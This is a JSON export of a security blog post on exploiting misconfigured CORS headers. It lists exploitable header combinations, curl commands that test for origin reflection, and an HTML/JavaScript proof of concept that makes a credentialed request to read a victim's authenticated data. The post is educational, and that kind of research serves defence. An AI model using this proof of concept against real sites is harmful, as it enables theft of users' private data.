{"id":262,"date":"2016-12-16T18:14:10","date_gmt":"2016-12-16T12:44:10","guid":{"rendered":"http:\/\/www.geekboy.ninja\/blog\/?p=262"},"modified":"2020-06-27T05:29:46","modified_gmt":"2020-06-26T23:59:46","slug":"exploiting-misconfigured-cors-cross-origin-resource-sharing","status":"publish","type":"post","link":"https:\/\/www.geekboy.ninja\/blog\/exploiting-misconfigured-cors-cross-origin-resource-sharing\/","title":{"rendered":"Exploiting Misconfigured CORS (Cross Origin Resource Sharing)"},"content":{"rendered":"<p>Hello Friends!<\/p>\n<p>few days before noticed a <a href=\"http:\/\/www.cynet.com\/blog-facebook-originull\/\" target=\"_blank\" rel=\"noopener noreferrer\">blog post<\/a> for exploiting Facebook chat and reading all the chats of users so that made me to interested\u00a0to know about the issues, and basically it was misconfigured <strong>CORS<\/strong> configuration where <strong>null origin<\/strong> is allowed with credentials true, \u00a0it was not something heard for the 1st time, <a href=\"https:\/\/twitter.com\/albinowax\" target=\"_blank\" rel=\"noopener noreferrer\">@albinowax<\/a> from the <a href=\"https:\/\/portswigger.net\/\" target=\"_blank\" rel=\"noopener noreferrer\">portswigger <\/a>explained it very well in his <a href=\"http:\/\/blog.portswigger.net\/2016\/10\/exploiting-cors-misconfigurations-for.html\" target=\"_blank\" rel=\"noopener noreferrer\">blog post<\/a>, so after reading that messenger blog post I went to test for the same issue for some targets where I allowed to test it.<\/p>\n<p>but before that here are some tips about <strong>CORS<\/strong> where it can be exploitable from the attacker&#8217;s point of view:<\/p>\n<ul>\n<li>\n<h4>Poorly implemented, Best case for Attack:<\/h4>\n<\/li>\n<\/ul>\n<p><span style=\"color: #003300;\"><code>Access-Control-Allow-Origin: https:\/\/attacker.com<\/code><\/span><\/p>\n<p><span style=\"color: #003300;\"><code>Access-Control-Allow-Credentials: true<\/code><\/span><\/p>\n<ul>\n<li>\n<h4>Poorly implemented, Exploitable:<\/h4>\n<\/li>\n<\/ul>\n<p><span style=\"color: #003300;\"><code>Access-Control-Allow-Origin: null<\/code><\/span><\/p>\n<p><span style=\"color: #003300;\"><code>Access-Control-Allow-Credentials: true<\/code><\/span><\/p>\n<ul>\n<li>\n<h4>Bad implementation but not exploitable:<\/h4>\n<\/li>\n<\/ul>\n<p><span style=\"color: #003300;\"><code>Access-Control-Allow-Origin: *<\/code><\/span><\/p>\n<p><span style=\"color: #003300;\"><code>Access-Control-Allow-Credentials: true<\/code><\/span><\/p>\n<p>or just<\/p>\n<p><span style=\"color: #003300;\"><code>Access-Control-Allow-Origin: *<\/code><\/span><\/p>\n<p>even this is not good from the development point of view but due to its own rules of CORS if <strong>Access-Control-Allow-Origin<\/strong> set to <strong>*<\/strong>\u00a0<a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/HTTP\/Access_control_CORS#Requests_with_credentials\" target=\"_blank\" rel=\"noopener noreferrer\">we don&#8217;t get benefit<\/a> <strong>Access-Control-Allow-Credentials: true<\/strong> means <strong>no cookie access<\/strong> of the victim.<\/p>\n<p><strong>When you can&#8217;t exploit even if above\u00a0misconfigurations are present:<\/strong><\/p>\n<ul>\n<li><span style=\"color: #000000;\">Presence of any custom header in the request which is getting used to authenticate\u00a0the user.<\/span><\/li>\n<li><span style=\"color: #000000;\">Presence of any unique\/authentication\/key in the request URI\u00a0\u00a0<\/span><\/li>\n<\/ul>\n<p>I&#8217;m not covering basic details about CORS in this post as in earlier blog posts all the details are covered.<\/p>\n<p>I mentioned 3 cases where first two cases are exploitable in that example of 2nd case is <a href=\"http:\/\/www.cynet.com\/blog-facebook-originull\/\" target=\"_blank\" rel=\"noopener noreferrer\">Facebook Messenger chat issue<\/a> which I mentioned in an earlier section of the post, and example of 1st case is mine which I found 2 days before where any arbitrary <strong>Origin<\/strong> is allowed and the same <strong>Origin<\/strong> get reflected back to\u00a0<strong>Access-Control-Allow-Origin<\/strong> with <strong>Credentials<\/strong> set to <strong>True<\/strong>, the best way I found to check for CORS issue is using <strong>CURL<\/strong>.<\/p>\n<p>eg : <em><span style=\"color: #003300;\"><code>curl https:\/\/test.victim.com -H \"Origin: https:\/\/geekboy.ninja\"<\/code> -I<\/span><\/em> and check the response if <strong>Origin<\/strong> is reflected in the response or not.<br \/>\n<a href=\"http:\/\/www.geekboy.ninja\/blog\/wp-content\/uploads\/2016\/12\/curl.jpg\"><img loading=\"lazy\" class=\"aligncenter size-full wp-image-273\" src=\"http:\/\/www.geekboy.ninja\/blog\/wp-content\/uploads\/2016\/12\/curl.jpg\" alt=\"\" width=\"768\" height=\"330\" srcset=\"https:\/\/www.geekboy.ninja\/blog\/wp-content\/uploads\/2016\/12\/curl.jpg 768w, https:\/\/www.geekboy.ninja\/blog\/wp-content\/uploads\/2016\/12\/curl-300x129.jpg 300w\" sizes=\"(max-width: 768px) 100vw, 768px\" \/><\/a><\/p>\n<p>OR if your burp pro user, <strong>Burp Active Scan<\/strong> may find this for you, but in this specific case the root URL was not vulnerable when I checked it manually,\u00a0 <em><span style=\"color: #003300;\"><code>curl https:\/\/my.target.com -H \"Origin: https:\/\/geekboy.ninja\" -I<\/code><\/span><\/em> , the Origin didn&#8217;t get reflected but when I requested specific endpoint where all users data getting back into the response <em><span style=\"color: #003300;\"><code>curl https:\/\/my.target.com\/api\/web\/user -H \"Origin: https:\/\/geekboy.ninja\" -I<\/code><\/span><\/em> it reflected back with my host with <strong>Credentials<\/strong> set to <strong>True<\/strong> and that&#8217;s enough to make this work and steal all that data.<\/p>\n<p>HTML Poc code:-<\/p>\n<pre class=\"lang:default decode:true \">&lt;!DOCTYPE html&gt;\n&lt;html&gt;\n&lt;body&gt;\n&lt;center&gt;\n&lt;h2&gt;CORS POC Exploit&lt;\/h2&gt;\n&lt;h3&gt;Extract SID&lt;\/h3&gt;\n \n&lt;div id=\"demo\"&gt;\n&lt;button type=\"button\" onclick=\"cors()\"&gt;Exploit&lt;\/button&gt;\n&lt;\/div&gt;\n \n&lt;script&gt;\nfunction cors() {\n  var xhttp = new XMLHttpRequest();\n  xhttp.onreadystatechange = function() {\n    if (this.readyState == 4 &amp;&amp; this.status == 200) {\n      document.getElementById(\"demo\").innerHTML = alert(this.responseText);\n    }\n  };\n  xhttp.open(\"GET\", \"https:\/\/target.com\/info\/\", true);\n  xhttp.withCredentials = true;\n  xhttp.send();\n}\n&lt;\/script&gt;\n \n&lt;\/body&gt;\n&lt;\/html&gt;<\/pre>\n<p>And here how it worked \ud83d\ude42<\/p>\n<p><a href=\"http:\/\/www.geekboy.ninja\/blog\/wp-content\/uploads\/2016\/12\/cors_poc2-1.jpg\"><img loading=\"lazy\" class=\"aligncenter size-large wp-image-270\" src=\"http:\/\/www.geekboy.ninja\/blog\/wp-content\/uploads\/2016\/12\/cors_poc2-1-1024x660.jpg\" alt=\"\" width=\"634\" height=\"409\" srcset=\"https:\/\/www.geekboy.ninja\/blog\/wp-content\/uploads\/2016\/12\/cors_poc2-1-1024x660.jpg 1024w, https:\/\/www.geekboy.ninja\/blog\/wp-content\/uploads\/2016\/12\/cors_poc2-1-300x193.jpg 300w, https:\/\/www.geekboy.ninja\/blog\/wp-content\/uploads\/2016\/12\/cors_poc2-1-768x495.jpg 768w, https:\/\/www.geekboy.ninja\/blog\/wp-content\/uploads\/2016\/12\/cors_poc2-1-816x526.jpg 816w, https:\/\/www.geekboy.ninja\/blog\/wp-content\/uploads\/2016\/12\/cors_poc2-1.jpg 1284w\" sizes=\"(max-width: 634px) 100vw, 634px\" \/><\/a><\/p>\n<p><strong>Sources for better understanding of CORS:<\/strong><\/p>\n<ul>\n<li><a href=\"http:\/\/blog.portswigger.net\/2016\/10\/exploiting-cors-misconfigurations-for.html\" target=\"_blank\" rel=\"noopener noreferrer\">http:\/\/blog.portswigger.net\/2016\/10\/exploiting-cors-misconfigurations-for.html<\/a><\/li>\n<li><a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/HTTP\/Access_control_CORS\" target=\"_blank\" rel=\"noopener noreferrer\">https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/HTTP\/Access_control_CORS<\/a><\/li>\n<li><a href=\"https:\/\/ejj.io\/misconfigured-cors\/\" target=\"_blank\" rel=\"noopener noreferrer\">https:\/\/ejj.io\/misconfigured-cors\/<\/a><\/li>\n<\/ul>\n<p>Views\/Suggestions\/Edits always welcome \ud83d\ude42<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hello Friends! few days before noticed a blog post for exploiting Facebook chat and reading all the chats of users so that made me to interested\u00a0to know about the issues, and basically it was misconfigured CORS configuration where null origin is allowed with credentials true, \u00a0it was not something heard for the 1st time, @albinowax [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":298,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[14,13,15],"_links":{"self":[{"href":"https:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/posts\/262"}],"collection":[{"href":"https:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/comments?post=262"}],"version-history":[{"count":41,"href":"https:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/posts\/262\/revisions"}],"predecessor-version":[{"id":754,"href":"https:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/posts\/262\/revisions\/754"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/media\/298"}],"wp:attachment":[{"href":"https:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/media?parent=262"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/categories?post=262"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/tags?post=262"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}